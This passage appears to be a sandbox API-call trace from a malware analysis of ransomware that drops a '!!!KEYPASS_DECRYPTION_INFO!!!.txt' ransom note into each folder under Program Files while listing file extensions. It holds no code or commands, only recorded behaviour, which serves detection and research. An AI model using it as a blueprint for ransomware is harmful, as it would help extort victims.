lpMsg=0x2e4f3c8) returned 0 [0276.952] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.952] GetLastError () returned 0x3f0 [0276.952] PathAppendW (in: pszPath="C:\\Program Files\\MSBuild\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\MSBuild\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.952] PathFileExistsW (pszPath="C:\\Program Files\\MSBuild\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.954] GetFileType (hFile=0x198c) returned 0x1 [0276.955] CloseHandle (hObject=0x198c) returned 1 [0276.955] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.955] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0276.956] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.956] GetLastError () returned 0x3f0 [0276.956] PathAppendW (in: pszPath="C:\\Program Files\\MSBuild\\Microsoft\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\MSBuild\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.956] PathFileExistsW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.957] GetFileType (hFile=0x1984) returned 0x1 [0276.958] CloseHandle (hObject=0x1984) returned 1 [0276.958] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.958] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0276.959] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.959] GetLastError () returned 0x3f0 [0276.959] PathAppendW (in: pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.959] PathFileExistsW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0287.501] GetFileType (hFile=0x1994) returned 0x1 [0287.502] CloseHandle (hObject=0x1994) returned 1 [0287.502] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0287.502] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0287.503] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0287.503] GetLastError () returned 0x3f0 [0287.503] PathAppendW (in: pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0287.503] PathFileExistsW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0287.504] GetFileType (hFile=0x1998) returned 0x1 [0287.505] CloseHandle (hObject=0x1998) returned 1 [0287.505] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0287.505] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned=".Targets" [0287.505] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets") returned=".Targets" [0287.505] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0287.505] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0287.505] GetLastError () returned 0x3f0 [0287.506] PathAppendW (in: pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0287.506] PathFileExistsW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0287.506] GetFileType (hFile=0x199c) returned 0x1 [0287.507] CloseHandle (hObject=0x199c) returned 1 [0287.507] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0287.507] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned=".Targets" [0287.507] PathFindExtensionW (pszPath="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets") returned=".Targets" [0287.507] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0287.507] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0287.507] GetLastError () returned 0x3f0 [0287.507] PathAppendW (in: pszPath="C:\\Program Files\\Reference Assemblies\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Reference Assemblies\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0287.507] PathFileExistsW (pszPath="C:\\Program Files\\Reference Assemblies\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0287.507] GetFileType (hFile=0x19a0) returned 0x1 [0287.508] CloseHandle (hObject=0x19a0) returned 1 [0287.508] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0287.508] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\definitionselectionsea.exe") returned=".exe" [0287.508] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0287.508] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0287.508] GetLastError () returned 0x3f0 [0287.508] PathAppendW (in: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0287.508] PathFileExistsW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.087] GetFileType (hFile=0x1990) returned 0x1 [0288.088] CloseHandle (hObject=0x1990) returned 1 [0288.088] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.089] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0288.089] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.089] GetLastError () returned 0x3f0 [0288.089] PathAppendW (in: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.089] PathFileExistsW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.089] GetFileType (hFile=0x19a4) returned 0x1 [0288.090] CloseHandle (hObject=0x19a4) returned 1 [0288.090] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.090] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0288.090] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.090] GetLastError () returned 0x3f0 [0288.090] PathAppendW (in: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.090] PathFileExistsW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.113] GetFileType (hFile=0x19a8) returned 0x1 [0288.113] CloseHandle (hObject=0x19a8) returned 1 [0288.113] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.113] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationBuildTasks.dll") returned=".dll" [0288.114] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll") returned=".dll" [0288.114] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Aero.dll") returned=".dll" [0288.114] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Classic.dll") returned=".dll" [0288.114] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll") returned=".dll" [0288.114] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Luna.dll") returned=".dll" [0288.114] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Royale.dll") returned=".dll" [0288.114] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\ReachFramework.dll") returned=".dll" [0288.114] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0288.114] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.114] GetLastError () returned 0x3f0 [0288.114] PathAppendW (in: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.114] PathFileExistsW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.201] GetFileType (hFile=0x19ac) returned 0x1 [0288.202] CloseHandle (hObject=0x19ac) returned 1 [0288.202] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml") returned=".xml" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.Selectors.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IO.Log.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Printing.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Runtime.Serialization.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Speech.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Activities.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.ComponentModel.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Runtime.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClient.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClientsideProviders.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationProvider.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationTypes.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsBase.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsFormsIntegration.dll") returned=".dll" [0288.203] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml") returned=".xml" [0288.203] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0288.203] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.203] GetLastError () returned 0x3f0 [0288.203] PathAppendW (in: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.203] PathFileExistsW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.207] GetFileType (hFile=0x19b0) returned 0x1 [0288.208] CloseHandle (hObject=0x19b0) returned 1 [0288.211] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.211] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Conversion.v3.5.dll") returned=".dll" [0288.211] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Engine.dll") returned=".dll" [0288.211] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Framework.dll") returned=".dll" [0288.211] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Utilities.v3.5.dll") returned=".dll" [0288.211] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll") returned=".dll" [0288.211] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0288.211] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.211] GetLastError () returned 0x3f0 [0288.211] PathAppendW (in: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.211] PathFileExistsW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.249] GetFileType (hFile=0x19b4) returned 0x1 [0288.250] CloseHandle (hObject=0x19b4) returned 1 [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml") returned=".xml" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.Contract.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ComponentModel.DataAnnotations.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Core.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.DataSetExtensions.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.Design.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Linq.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Client.dll") returned=".dll" [0288.250] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Design.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.DirectoryServices.AccountManagement.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Management.Instrumentation.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Net.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ServiceModel.Web.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Abstractions.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.Design.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.Design.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.Design.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Routing.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Windows.Presentation.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.WorkflowServices.dll") returned=".dll" [0288.251] PathFindExtensionW (pszPath="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Xml.Linq.dll") returned=".dll" [0288.251] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0288.251] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.251] GetLastError () returned 0x3f0 [0288.251] PathAppendW (in: pszPath="C:\\Program Files\\Uninstall Information\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Uninstall Information\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.251] PathFileExistsW (pszPath="C:\\Program Files\\Uninstall Information\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.252] GetFileType (hFile=0x19b8) returned 0x1 [0288.252] CloseHandle (hObject=0x19b8) returned 1 [0288.253] PathFindExtensionW (pszPath="C:\\Program Files\\Uninstall Information\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.253] PathFindExtensionW (pszPath="C:\\Program Files\\Uninstall Information\\hayes.exe") returned=".exe" [0288.253] PathFindExtensionW (pszPath="C:\\Program Files\\Uninstall Information\\tu-admit.exe") returned=".exe" [0288.253] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0288.253] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.253] GetLastError () returned 0x3f0 [0288.253] PathAppendW (in: pszPath="C:\\Program Files\\Windows Defender\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Defender\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.253] PathFileExistsW (pszPath="C:\\Program Files\\Windows Defender\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.253] GetLastError () returned 0x2 [0288.253] GetLastError () returned 0x2 [0288.253] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\AmMonitoringInstall.mof") returned=".mof" [0288.253] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\AMMonitoringProvider.dll") returned=".dll" [0288.253] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\AmStatusInstall.mof") returned=".mof" [0288.254] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\ClientWMIInstall.mof") returned=".mof" [0288.254] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe") returned=".exe" [0288.254] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\DataLayer.dll") returned=".dll" [0288.254] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\DbgHelp.dll") returned=".dll" [0288.254] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\DefenderCSP.dll") returned=".dll" [0288.254] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.254] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.254] GetLastError () returned 0x3f0 [0288.254] PathAppendW (in: pszPath="C:\\Program Files\\Windows Defender\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Defender\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.254] PathFileExistsW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.270] GetFileType (hFile=0x19c0) returned 0x1 [0288.272] CloseHandle (hObject=0x19c0) returned 1 [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\EppManifest.dll.mui") returned=".mui" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned=".mui" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned=".mui" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui") returned=".mui" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\ProtectionManagement.dll.mui") returned=".mui" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\ProtectionManagement.mfl") returned=".mfl" [0288.272] PathFindExtensionW (pszPath="C:\\Program 